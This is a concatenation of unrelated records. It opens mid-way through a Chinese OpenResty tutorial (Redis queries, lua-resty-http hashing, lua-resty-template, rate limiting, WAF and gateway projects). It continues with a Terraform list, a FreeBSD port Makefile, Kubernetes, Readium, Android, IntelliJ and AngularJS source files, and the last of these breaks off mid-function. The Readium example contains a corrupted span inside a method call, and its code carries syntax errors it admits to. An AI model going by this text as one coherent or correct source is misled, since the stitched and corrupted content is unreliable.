192.168.199.161:6379;\n\nredis2_query auth 123123;\n \n\n set_unescape_uri $key $arg_key; # this requires ngx_set_misc\n\n set_unescape_uri $val $arg_val; # this requires ngx_set_misc\n\n redis2_query set $key $val;\n\n }\n```\n\n\n\n\n\n#### pipeline\n\n\n\n```nginx\n set $value 'first';\n\n redis2_query set one $value;\n\n redis2_query get one;\n\n redis2_query set one two;\n\n redis2_query get one;\n\nredis2_query del key1;\n```\n\n#### list\n\n```lua\n redis2_query lpush key1 C;\n\n redis2_query lpush key1 B;\n\n redis2_query lpush key1 A;\n\nredis2_query lrange key1 0 -1;\n```\n\n\n\n\n\n#### 集群\n\n```nginx\nupstream redis_cluster {\n\n server 192.168.199.161:6379;\n\n server 192.168.199.161:6379;\n\n }\n\nlocation = /redis {\n\ndefault_type text/html;\n\n redis2_next_upstream error timeout invalid_response;\n\n redis2_query get foo;\n\n redis2_pass redis_cluster;\n }\n```\n\n\n\n\n\n\n\n## URL一致性哈希负载均衡\n\n有针对性的对url进行一致性hash 定向负载到后端Nginx \n\n提高Nginx缓存系统命中率\n\n#### nginx url_hash\n\nNginx第三方模块，在转发请求时如果后端服务器宕机，会导致503错误\n\n#### lua-resty-http\n\n### GitHub主页\n\nhttps://github.com/ledgetech/lua-resty-http\n\n### 安装组件\n\nwget https://raw.githubusercontent.com/pintsized/lua-resty-http/master/lib/resty/http_headers.lua \n\nwget https://raw.githubusercontent.com/pintsized/lua-resty-http/master/lib/resty/http.lua \n\n\n\n \n\n```lua\nlocal http = require(\"resty.http\") \n\nlocal httpc = http.new() \n \nlocal resp, err = httpc:request_uri(\"http://www.sogou.com\", { \n method = \"GET\", \n path = \"/sogou?query=resty.http\", \n headers = { \n [\"User-Agent\"] = \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36\" \n } \n}) \n \nif not resp then \n ngx.say(\"request error :\", err) \n return \nend \n \n \nngx.status = resp.status \n \n \nfor k, v in pairs(resp.headers) do \n if k ~= \"Transfer-Encoding\" and k ~= \"Connection\" then \n ngx.header[k] = v \n end \nend \n \nngx.say(resp.body) \n \nhttpc:close()\n\n```\n\nhttp模块加入\n\n```\nresolver 8.8.8.8;\n```\n\n\n\n### lua-resty-http实现一致性hash负载均衡\n\n```lua\nlocal http = require(\"resty.http\") \nlocal httpc = http.new() \n\nlocal hosts = {\"192.168.150.111\",\"192.168.150.112\"}\n\nlocal item_id= ngx.var.arg_id\n\nlocal id_hash = ngx.crc32_long(item_id)\nlocal index = (id_hash % 2) +1\n \nlocal resp, err = httpc:request_uri(\"http://\"..hosts[index], { \n method = \"GET\", \n path = \"/sogou?query=resty.http\", \n headers = { \n [\"User-Agent\"] = \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36\" \n } \n}) \n \nif not resp then \n ngx.say(\"request error :\", err) \n return \nend \n \n \nngx.say(resp.body) \n \nhttpc:close()\n\n```\n\n## 模板实时渲染 lua-resty-template\n\nhttps://github.com/bungle/lua-resty-template\n\n如果学习过JavaEE中的servlet和JSP的话，应该知道JSP模板最终会被翻译成Servlet来执行；\n\n而lua-resty-template模板引擎可以认为是JSP，其最终会被翻译成Lua代码，然后通过ngx.print输出。 \n\nlua-resty-template大体内容有： \n\nl 模板位置：从哪里查找模板； \n\nl 变量输出/转义：变量值输出； \n\nl 代码片段：执行代码片段，完成如if/else、for等复杂逻辑，调用对象函数/方法； \n\nl 注释：解释代码片段含义； \n\nl include：包含另一个模板片段； \n\nl 其他：lua-resty-template还提供了不需要解析片段、简单布局、可复用的代码块、宏指令等支持。\n\n基础语法\n\nl {(include_file)}：包含另一个模板文件；\n\nl {* var *}：变量输出；\n\nl {{ var }}：变量转义输出；\n\nl {% code %}：代码片段；\n\nl {# comment #}：注释；\n\nl {-raw-}：中间的内容不会解析，作为纯文本输出；\n\n### lua代码热加载\n\n在http模块中加入\n\n```\nlua_code_cache off;\n```\n\nreload后Nginx会提示影响性能，记得在生产环境中关掉。\n\n![1569585068623](images/1569585068623.png)\n\n### 测试\n\n### 一、初始化\n\n```\n-- Using template.new\nlocal template = require \"resty.template\"\nlocal view = template.new \"view.html\"\nview.message = \"Hello, World!\"\nview:render()\n\n-- Using template.render\n-- template.render(\"view.html\", { message = \"Hel11lo, Worl1d!\" })\n\n\n```\n\n### 二、执行函数，得到渲染之后的内容\n\n```\nlocal func = template.compile(\"view.html\") \n\nlocal content = func(context) \n\nngx.say(\"xx:\",content) \n```\n\n\n\n\n\n### resty.template.html\n\n```lua\nlocal template = require(\"resty.template\")\nlocal html = require \"resty.template.html\"\n\ntemplate.render([[\n
    \n{% for _, person in ipairs(context) do %}\n {*html.li(person.name)*} --\n{% end %}\n
\n\n{% for _, person in ipairs(context) do %}\n \n {*html.td{ id = person.id }(person.name)*}\n \n{% end %}\n
]], {\n { id = 1, name = \"Emma\"},\n { id = 2, name = \"James\" },\n { id = 3, name = \"Nicholas\" },\n { id = 4 }\n})\n\n```\n\n### 模板内容\n\n```html\n\n\n\n

{{message}}

\n\n\n\n```\n\n### 多值传入\n\n```lua\ntemplate.caching(false)\nlocal template = require(\"resty.template\")\nlocal context = {\n name = \"lucy\",\n age = 50,\n}\ntemplate.render(\"view.html\", context)\n\n```\n\n### 模板内容\n\n```lua\n\n\n\n

name:{{name}}

\n

age:{{age}}

\n\n\n\n```\n\n\n\n### 模板管理与缓存\n\n模板缓存：默认开启，开发环境可以手动关闭\n\n```template.caching(true)```\n\n模板文件需要业务系统更新与维护，当模板文件更新后，可以通过模板版本号或消息通知Openresty清空缓存重载模板到内存中\n\n`template.cache = {}`\n\n\n\n\n\n### 完整页面\n\n\n\n```lua\nlocal template = require(\"resty.template\")\ntemplate.caching(false)\nlocal context = {\n title = \"测试\",\n name = \"lucy\",\n description = \"\",\n age = 40,\n hobby = {\"电影\", \"音乐\", \"阅读\"},\n score = {语文 = 90, 数学 = 80, 英语 = 70},\n score2 = {\n {name = \"语文\", score = 90},\n {name = \"数学\", score = 80},\n {name = \"英语\", score = 70},\n }\n}\n\ntemplate.render(\"view.html\", context)\n\n```\n\n### 模板\n\n```html\n{(header.html)} \n \n {# 不转义变量输出 #} \n 姓名：{* string.upper(name) *}
\n {# 转义变量输出 #} \n 简介：{{description}}\n 简介：{* description *}
\n {# 可以做一些运算 #} \n 年龄: {* age + 10 *}
\n {# 循环输出 #} \n 爱好： \n {% for i, v in ipairs(hobby) do %} \n {% if v == '电影' then %} - xxoo\n \n {%else%} - {* v *} \n{% end %} \n \n {% end %}
\n \n 成绩： \n {% local i = 1; %} \n {% for k, v in pairs(score) do %} \n {% if i > 1 then %}，{% end %} \n {* k *} = {* v *} \n {% i = i + 1 %} \n {% end %}
\n 成绩2： \n {% for i = 1, #score2 do local t = score2[i] %} \n {% if i > 1 then %}，{% end %} \n {* t.name *} = {* t.score *} \n {% end %}
\n {# 中间内容不解析 #} \n {-raw-}{(file)}{-raw-} \n{(footer.html)} \n\n```\n\n\n\n\n\n\n\n### layout 布局统一风格\n\n使用模板内容嵌套可以实现全站风格同一布局\n\n#### lua\n\n`local template = require \"resty.template\"`\n\n一、\n\n```\nlocal layout = template.new \"layout.html\"\n\nlayout.title = \"Testing lua-resty-template\"\n\nlayout.view = template.compile \"view.html\" { message = \"Hello, World!\" }\n\nlayout:render()\n```\n\n\n\n\n\n二、\n\n```\ntemplate.render(\"layout.html\", {\n\n title = \"Testing lua-resty-template\",\n\n msg = \"type=2\",\n\n view = template.compile \"view.html\" { message = \"Hello, World!\" }\n\n})\n```\n\n\n\n\n\n三、\n\n此方式重名变量值会被覆盖\n\n```\nlocal view = template.new(\"view.html\", \"layout.html\")\n\nview.title = \"Testing lua-resty-template\"\n\nview.msg = \"type=3\"\n\nview.message = \"Hello, World!\"\n\nview:render()\n```\n\n\n\n\n\n四、\n\n可以区分一下\n\n```\nlocal layout = template.new \"layout.html\"\n\nlayout.title = \"Testing lua-resty-template\"\n\nlayout.msg = \"type=4\"\n\nlocal view = template.new(\"view.html\", layout)\n\nview.message = \"Hello, World!\"\n\nview:render()\n```\n\n\n\n\n\n \n\n#### layout.html\n\n```\n\n\n\n\n\n\n​ {{title}}\n\n\n\n

layout

\n\n\n\n​ {*view*}\n\n\n\n\n```\n\n\n\n\n\n#### view.html·\n\n`msg:{{message}}`\n\n \n\n#### 多级嵌套\n\nlua\n\n```\nlocal view = template.new(\"view.html\", \"layout.html\")\n\nview.title = \"Testing lua-resty-template\"\n\nview.message = \"Hello, World!\"\n\nview:render()\n\nview.html\n\n{% layout=\"section.html\" %}\n```\n\n\n\n\n\n

msg:{{message}}

\nsection.html\n\n\n\n​ {*view*} - sss\n\n\n\nlayout.html\n\n\n\n\n\n\n\n​ {{title}}\n\n\n\n

layout {{msg}}

\n\n\n​ {*view*}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n## IDE Lua 脚本调试\n\n### EmmyLua插件\n\nhttps://github.com/EmmyLua/IntelliJ-EmmyLua\n\nhttps://emmylua.github.io/zh_CN/\n\n### LDT 基于eclipse\n\nhttps://www.eclipse.org/ldt/\n\n \n\n \n\n## 限流\n\n### 限流算法\n\n#### 漏桶算法\n\n​ \n\n#### 令牌桶算法\n\n \n\n#### 计数器\n\n常见的连接池、线程池等简单粗暴的按照数量限流的方式\n\n### Tomcat限流\n\nserver.xml配置文件中的Connector节点\n\n\n\nl maxThreads：tomcat能并发处理的最大线程数\n\nl acceptCount：当tomcat起动的线程数达到最大时，接受排队的请求个数，默认值为100 \n\nl maxConnections：瞬时最大连接数，超出会排队等待\n\n \n\n## Lua 开源项目\n\n### WAF\n\nhttps://github.com/unixhot/waf\n\nhttps://github.com/loveshell/ngx_lua_waf\n\n \n\nl 防止 SQL 注入，本地包含，部分溢出，fuzzing 测试，XSS/SSRF 等 Web 攻击\n\nl 防止 Apache Bench 之类压力测试工具的攻击\n\nl 屏蔽常见的扫描黑客工具，扫描器\n\nl 屏蔽图片附件类目录执行权限、防止 webshell 上传\n\nl 支持 IP 白名单和黑名单功能，直接将黑名单的 IP 访问拒绝\n\nl 支持 URL 白名单，将不需要过滤的 URL 进行定义\n\nl 支持 User-Agent 的过滤、支持 CC 攻击防护、限制单个 URL 指定时间的访问次数\n\nl 支持支持 Cookie 过滤，URL 与 URL 参数过滤\n\nl 支持日志记录，将所有拒绝的操作，记录到日志中去\n\n### Kong 基于Openresty的流量网关\n\nhttps://konghq.com/\n\nhttps://github.com/kong/kong\n\nKong 基于 OpenResty，是一个云原生、快速、可扩展、分布式的微服务抽象层（Microservice Abstraction Layer），也叫 API 网关（API Gateway），在 Service Mesh 里也叫 API 中间件（API Middleware）。\n\nKong 开源于 2015 年，核心价值在于高性能和扩展性。从全球 5000 强的组织统计数据来看，Kong 是现在依然在维护的，在生产环境使用最广泛的 API 网关。\n\nKong 宣称自己是世界上最流行的开源微服务 API 网关（The World’s Most Popular Open Source Microservice API Gateway）。\n\n核心优势：\n\nl 可扩展：可以方便的通过添加节点水平扩展，这意味着可以在很低的延迟下支持很大的系统负载。\n\nl 模块化：可以通过添加新的插件来扩展 Kong 的能力，这些插件可以通过 RESTful Admin API 来安装和配置。\n\nl 在任何基础架构上运行：Kong 可以在任何地方都能运行，比如在云或混合环境中部署 Kong，单个或全球的数据中心。\n\n \n\n### ABTestingGateway\n\nhttps://github.com/CNSRE/ABTestingGateway\n\nABTestingGateway 是一个可以动态设置分流策略的网关，关注与灰度发布相关领域，基于 Nginx 和 ngx-lua 开发，使用 Redis 作为分流策略数据库，可以实现动态调度功能。\n\nABTestingGateway 是新浪微博内部的动态路由系统 dygateway 的一部分，目前已经开源。在以往的基于 Nginx 实现的灰度系统中，分流逻辑往往通过 rewrite 阶段的 if 和 rewrite 指令等实现，优点是性能较高，缺点是功能受限、容易出错，以及转发规则固定，只能静态分流。ABTestingGateway 则采用 ngx-lua，通过启用 lua-shared-dict 和 lua-resty-lock 作为系统缓存和缓存锁，系统获得了较为接近原生 Nginx 转发的性能。\n\nl 支持多种分流方式，目前包括 iprange、uidrange、uid 尾数和指定uid分流\n\nl 支持多级分流，动态设置分流策略，即时生效，无需重启\n\nl 可扩展性，提供了开发��架，开发者可以灵活添加新的分流方式，实现二次开发\n\nl 高性能，压测数据接近原生 Nginx 转发\n\nl 灰度系统配置写在 Nginx 配置文件中，方便管理员配置\n\nl 适用于多种场景：灰度发布、AB 测试和负载均衡等"} +{"text": "template\nr_template_cloudinit_config\nr_template_dir\nr_template_file\nd_template_cloudinit_config\nd_template_file"} +{"text": "# $FreeBSD$\n\nPORTNAME=\tParallel-Async\nPORTVERSION=\t0.03\nPORTREVISION=\t1\nCATEGORIES=\tdevel perl5\nMASTER_SITES=\tCPAN\nPKGNAMEPREFIX=\tp5-\n\nMAINTAINER=\tkuriyama@FreeBSD.org\nCOMMENT=\tPerl extension to run parallel task with fork to simple\n\nLICENSE=\tART10 GPLv1+\nLICENSE_COMB=\tdual\n\nRUN_DEPENDS=\t\\\n\tp5-Class-Accessor-Lite>0:devel/p5-Class-Accessor-Lite \\\n\tp5-Try-Tiny>0:lang/p5-Try-Tiny\nBUILD_DEPENDS=\t${RUN_DEPENDS}\n\nUSES=\t\tperl5\nUSE_PERL5=\tmodbuild\n\n.include \n"} +{"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by client-gen. DO NOT EDIT.\n\npackage fake\n\nimport (\n\tv1alpha1 \"k8s.io/client-go/kubernetes/typed/auditregistration/v1alpha1\"\n\trest \"k8s.io/client-go/rest\"\n\ttesting \"k8s.io/client-go/testing\"\n)\n\ntype FakeAuditregistrationV1alpha1 struct {\n\t*testing.Fake\n}\n\nfunc (c *FakeAuditregistrationV1alpha1) AuditSinks() v1alpha1.AuditSinkInterface {\n\treturn &FakeAuditSinks{c}\n}\n\n// RESTClient returns a RESTClient that is used to communicate\n// with API server by this client implementation.\nfunc (c *FakeAuditregistrationV1alpha1) RESTClient() rest.Interface {\n\tvar ret *rest.RESTClient\n\treturn ret\n}\n"} +{"text": "/**\n * This document is a simple example of how to use the proposed \n * shared-js interfaces. It is not intended to actally WORK, \n * but simply to demonstrate how the interfaces might be used. \n * \n * The examples assume that the \"ReadingSystem\" implements all \n * the relevant interfaces \n * \n * @author rkwright (9/10/2016) - initial draft\n * \n */\n\n\n\n var severity = { \"Fatal\", \"Error\", \"Warning\", \"Info\" };\n\n \n /*\n * Allocate the ReadingSystem object. Just pass in a trivial \n * config object \n */\n var config = {};\n config.margin = \"1em\";\n\n var rs = new ReadingSystem(config);\n\n /*\n * First initialize the renderer by passing in the container within\n * which the document should be rendered. We just create the\n * container element ourselves and attach it to the document body\n * element. Note that this is the outermost document - not our EPUB\n * \"Document\"\n */\n var container = document.createElement( 'div' );\n document.body.appendChild( container );\n\n // then init the renderer\n rs.initRenderer(container);\n\n // now load the EPUB via the ReadingSytem:Document interface. Get the URL to open from the app\n // Since we didn't specify a firstPage config item, it will simply open the document \n // to the first page, which in this case is the cover page\n rs.openEPUB(app.getEPUBURL());\n\n // check and see if any errors occurred\n var errorList = rs.getErrorRoot();\n if (errorList.getCount() > 0) {\n // Uh-oh. Errors occurred\n console.log(\"Found \" + errorList.getCount + \" errors occurred\");\n for (var i=0; i 0) {\n walkTOC(child)\n }\n }\n }\n\n // just call the recursive function to start the process\n walkTOC(toc);\n\n /*\n * This same process can be performed for the other \"standard\" nav elements \n * The app will need to check for any additional nav elmeents with getOtherNav() \n */\n if (navElms[1] != null) {\n // process the page-list nav elm\n }\n if (navElms[2] != null) {\n // process the landmarks nav elm\n }\n\n // finally, check if there are additional, custom nav elements and process them \n for ( var n=3; n < navElms.length; n++ ) {\n console.log(\"nav elm name: \" + navElms[n].name);\n }\n\n /*\n * Metadata handling is quite specific to the application, so the metadata APIs \n * are relatively low-level so app developers can just fetch what they are interested \n * in and do whatever they want with it \n */\n\n // fetch the metadata root element\n var opf = rs.getPackage();\n var metaRoot = opf.getMetadataRoot();\n\n // fetch the identifier(s)\n var IDs = metaRoot.fust a local fileindElements(\"http://purl.org/dc/elements/1.1/\", \"identifier\");\n for ( var t=0; t, or \n var margins = rs.getMargins();\n console.log(\"Current margins: \" + margins );\n\n // now set 4 different margins\n rs.setMargins( \"1em 2em 3em 2em\");\n\n /*\n * text rendering parameters. Like page layout, these are simple properties for the \n * most part that are handled by the implementation of the RS. Also, like the PageLayout \n * properties, they are accessed via the ReadingSystem, which must implement the \n * TextRendering interface \n */\n\n // get the current line-height, then set a new value\n console.log(\"Current line-height is \" + rs.getLineHeight());\n\n // note that setting the line height in fixed layout will fail\n if (rs.setLineHeight(\"16pt\") == false) {\n console.log(\"Sorry, not supported\");\n }\n\n // get the number of user-settable columns within a page. Note that multiple columns within\n // a page is not supported in Readium today due to how CSS columns are used to paginate\n console.log(\"Current number of columns: \" + rs.getNumColumns());\n\n // note that setting the line height in fixed layout will fail\n if (rs.setNumColumns(\"16pt\") == false) {\n console.log(\"Sorry, not supported\");\n }\n\n // read and set the column gap. Again, not supported in Readium at present\n // to do..\n \n // get and set the justification. Not supported for FXL\n console.log(\"Current justification is \" + rs.getJustification());\n\n if (rs.setJustification(\"right\") == false {\n console.log(\"Sorry, not supported\");\n }\n\n // set font parameters\n console.log(\"Current font-color is \" + rs.getFontColor());\n rs.setFontColor(\"pink\");\n\n console.log(\"Current font-height is \" + rs.getFontHeight());\n\n if (rs.setFontHeight(\"10em\") == false {\n console.log(\"Sorry, not supported\");\n }\n\n console.log(\"Current font-face is \" + rs.getFontFace());\n\n if (rs.setFontFace(\"Critters\") == false {\n console.log(\"Sorry, not supported\");\n }\n\n /*\n * Thee are many variants and ways to search. These are just a couple.\n */\n\n // find all occurrences of \"Readium\" in the current document\n var results = rs.search(null, null, \"Readium\", 0, \"Readium\"); \n\n if ((results.length == 0)) {\n console.log(\"Sorry, nothing found\");\n }\n else {\n for ( var r=0; r\n\n\nPollutionUpdater.cityMap - kotcity4\n\n\n\nkotcity4 / kotcity.automata / PollutionUpdater / cityMap
\n
\n

cityMap

\n\nval cityMap: CityMap\n\n\n"} +{"text": "{\n \"images\" : [\n {\n \"size\" : \"20x20\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-20x20@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"20x20\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-20x20@3x.png\",\n \"scale\" : \"3x\"\n },\n {\n \"size\" : \"29x29\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-29x29@1x.png\",\n \"scale\" : \"1x\"\n },\n {\n \"size\" : \"29x29\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-29x29@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"29x29\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-29x29@3x.png\",\n \"scale\" : \"3x\"\n },\n {\n \"size\" : \"40x40\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-40x40@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"40x40\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-40x40@3x.png\",\n \"scale\" : \"3x\"\n },\n {\n \"size\" : \"60x60\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-60x60@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"60x60\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-60x60@3x.png\",\n \"scale\" : \"3x\"\n },\n {\n \"size\" : \"20x20\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-20x20@1x.png\",\n \"scale\" : \"1x\"\n },\n {\n \"size\" : \"20x20\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-20x20@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"29x29\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-29x29@1x.png\",\n \"scale\" : \"1x\"\n },\n {\n \"size\" : \"29x29\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-29x29@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"40x40\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-40x40@1x.png\",\n \"scale\" : \"1x\"\n },\n {\n \"size\" : \"40x40\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-40x40@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"76x76\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-76x76@1x.png\",\n \"scale\" : \"1x\"\n },\n {\n \"size\" : \"76x76\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-76x76@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"83.5x83.5\",\n \"idiom\" : \"ipad\",\n \"filename\" : \"Icon-App-83.5x83.5@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"size\" : \"1024x1024\",\n \"idiom\" : \"ios-marketing\",\n \"filename\" : \"Icon-App-1024x1024@1x.png\",\n \"scale\" : \"1x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}\n"} +{"text": "/* Copyright © 2017-2020 ABBYY Production LLC\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n--------------------------------------------------------------------------------------------------------------*/\n\npackage com.neoml.classifier.main\n\nimport android.Manifest\nimport android.content.Intent\nimport android.content.pm.PackageManager\nimport android.net.Uri\nimport android.os.Bundle\nimport android.os.Environment\nimport android.provider.MediaStore\nimport android.view.View\nimport androidx.appcompat.app.AppCompatActivity\nimport androidx.core.app.ActivityCompat.requestPermissions\nimport androidx.core.app.ActivityCompat.shouldShowRequestPermissionRationale\nimport androidx.core.content.ContextCompat.checkSelfPermission\nimport androidx.core.content.FileProvider\nimport com.neoml.classifier.R\nimport com.neoml.classifier.grid.GridFragment\nimport com.neoml.classifier.model.ImageData\nimport com.neoml.classifier.model.MainModel\nimport com.neoml.classifier.provider.Provider\nimport kotlinx.android.synthetic.main.activity_main.*\nimport java.io.File\nimport java.io.IOException\nimport java.text.SimpleDateFormat\nimport java.util.*\n\n\nclass MainActivity : AppCompatActivity(), ActivityListener {\n\n companion object {\n const val CAMERA_REQUEST_CODE = 1\n const val GALLERY_REQUEST_CODE = 2\n const val REQUEST_PERMISSIONS_CAMERA = 3\n }\n\n private val model: MainModel by lazy { MainModel() }\n\n private val cameraPermission = Manifest.permission.CAMERA\n\n private val takePictureFromGalleryAction: (view: View) -> Unit =\n {\n startActivityForResult(\n Intent(\n Intent.ACTION_PICK,\n MediaStore.Images.Media.INTERNAL_CONTENT_URI\n ), GALLERY_REQUEST_CODE\n )\n }\n\n private var pictureUriFromCamera: Uri? = null\n\n private val takePictureFromCameraAction: (view: View) -> Unit =\n {\n val checkSelfPermission = checkSelfPermission(this, cameraPermission) != PackageManager.PERMISSION_GRANTED\n if (checkSelfPermission) {\n if (shouldShowRequestPermissionRationale(this, cameraPermission)) {\n takePhotoFromCamera()\n } else {\n requestPermissions(this, arrayOf(cameraPermission), REQUEST_PERMISSIONS_CAMERA)\n }\n } else {\n takePhotoFromCamera()\n }\n }\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n setContentView(R.layout.activity_main)\n if (savedInstanceState == null) {\n openGridFragment()\n gallery_button.setOnClickListener(takePictureFromGalleryAction)\n camera_button.setOnClickListener(takePictureFromCameraAction)\n }\n }\n\n @Throws(IOException::class)\n private fun takePhotoFromCamera() {\n val timeStamp: String = SimpleDateFormat(\"yyMMdd_HHmmss\").format(Date())\n val storageDir: File? = getExternalFilesDir(Environment.DIRECTORY_PICTURES)\n val file = File.createTempFile(\"JPEG_${timeStamp}_\", \".jpg\", storageDir)\n pictureUriFromCamera = FileProvider.getUriForFile(\n this@MainActivity,\n Provider.getAuthority(this@MainActivity),\n file\n )\n\n val takePictureIntent = Intent(MediaStore.ACTION_IMAGE_CAPTURE)\n takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, pictureUriFromCamera)\n takePictureIntent.resolveActivity(packageManager)?.also {\n startActivityForResult(takePictureIntent, CAMERA_REQUEST_CODE)\n }\n }\n\n private fun openGridFragment() {\n this.supportFragmentManager.beginTransaction()\n .replace(R.id.fragment_container, GridFragment.createInstance(), null)\n .commit()\n }\n\n override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {\n when {\n resultCode == RESULT_OK && requestCode == GALLERY_REQUEST_CODE -> {\n model.addImageFromGallery(data?.data.toString())\n model.requestNonHandledData()\n }\n resultCode == RESULT_OK && requestCode == CAMERA_REQUEST_CODE -> {\n model.addImageFromGallery(pictureUriFromCamera.toString())\n model.requestNonHandledData()\n }\n else -> {\n super.onActivityResult(requestCode, resultCode, data)\n }\n }\n }\n\n override fun onRequestPermissionsResult(\n requestCode: Int,\n permissions: Array,\n grantResults: IntArray\n ) {\n when (requestCode) {\n REQUEST_PERMISSIONS_CAMERA -> {\n if ((grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED)) {\n takePhotoFromCamera()\n }\n }\n else -> {\n super.onRequestPermissionsResult(requestCode, permissions, grantResults)\n }\n }\n }\n\n override fun changeBottomButtons(isDetail: Boolean) {\n val visibility = if (isDetail) View.GONE else View.VISIBLE\n camera_button.visibility = visibility\n gallery_button.visibility = visibility\n }\n\n override fun bindRunAction(imageData: ImageData?) {\n run_button.setOnClickListener {\n if (imageData == null) {\n model.classifyAllImages()\n } else {\n model.classify(\n imagePath = imageData.imagePath,\n isSingleRequest = true\n )\n }\n }\n }\n\n override fun onDestroy() {\n super.onDestroy()\n model.destroy()\n }\n\n override fun requestData() {\n model.requestNonHandledData()\n }\n\n override fun addObserver(observer: Observer) {\n model.addObserver(observer)\n }\n\n override fun deleteObserver(observer: Observer) {\n model.deleteObserver(observer)\n }\n\n}\n"} +{"text": "/*\n * Copyright 2000-2009 JetBrains s.r.o.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.intellij.openapi.util;\n\nimport com.intellij.util.NullableFunction;\nimport com.intellij.util.ObjectUtil;\nimport consulo.util.dataholder.Key;\nimport consulo.util.dataholder.UserDataHolder;\nimport org.jetbrains.annotations.NonNls;\nimport javax.annotation.Nullable;\n\n/**\n * @author peter\n */\npublic class NullableLazyKey extends Key {\n private final NullableFunction myFunction;\n\n private NullableLazyKey(@NonNls String name, final NullableFunction function) {\n super(name);\n myFunction = function;\n }\n\n @Nullable\n public final T getValue(H h) {\n T data = h.getUserData(this);\n if (data == null) {\n data = myFunction.fun(h);\n h.putUserData(this, data == null ? (T)ObjectUtil.NULL : data);\n }\n return data == ObjectUtil.NULL ? null : data;\n }\n\n public static NullableLazyKey create(@NonNls String name, final NullableFunction function) {\n return new NullableLazyKey(name, function);\n }\n}"} +{"text": "angular.module('bhima.controllers')\n .controller('StaffingSearchModalController', StaffingSearchModalController);\n\nStaffingSearchModalController.$inject = [\n '$uibModalInstance', 'Store', 'filters', 'options',\n 'util', 'StaffingIndiceService', 'PeriodService',\n 'SearchModalUtilService',\n];\n\nfunction StaffingSearchModalController(\n Instance, Store, filters, options, util, Journal, Periods, SearchModal,\n) {\n const vm = this;\n\n // displayValues will be an id:displayValue pair\n const displayValues = {};\n const lastDisplayValues = Journal.filters.getDisplayValueMap();\n\n // @TODO ideally these should be passed in when the modal is initialised\n // these are known when the filter service is defined\n const searchQueryOptions = ['employee_uuid', 'created_at'];\n\n const changes = new Store({ identifier : 'key' });\n vm.filters = filters;\n vm.options = options;\n\n vm.max_date = new Date();\n // an object to keep track of all custom filters, assigned in the view\n vm.searchQueries = {};\n vm.defaultQueries = {};\n // assign already defined custom filters to searchQueries object\n vm.searchQueries = util.maskObjectFromKeys(filters, searchQueryOptions);\n\n vm.onSelectEmployee = (employee) => {\n vm.searchQueries.employee_uuid = employee.uuid;\n displayValues.employee_uuid = employee.display_name;\n };\n\n if (vm.searchQueries.created_at) {\n vm.searchQueries.created_at = new Date(vm.searchQueries.created_at);\n displayValues.created_at = util.formatDate(vm.searchQueries.created_at, 'DD/MM/YYYY');\n }\n\n vm.onDateChange = (date) => {\n vm.searchQueries.created_at = date;\n displayValues.created_at = util.formatDate(date, 'DD/MM/YYYY');\n };\n\n // deafult filter period - directly write to changes list\n vm.onSelectPeriod = function onSelectPeriod(period) {\n const periodFilters = 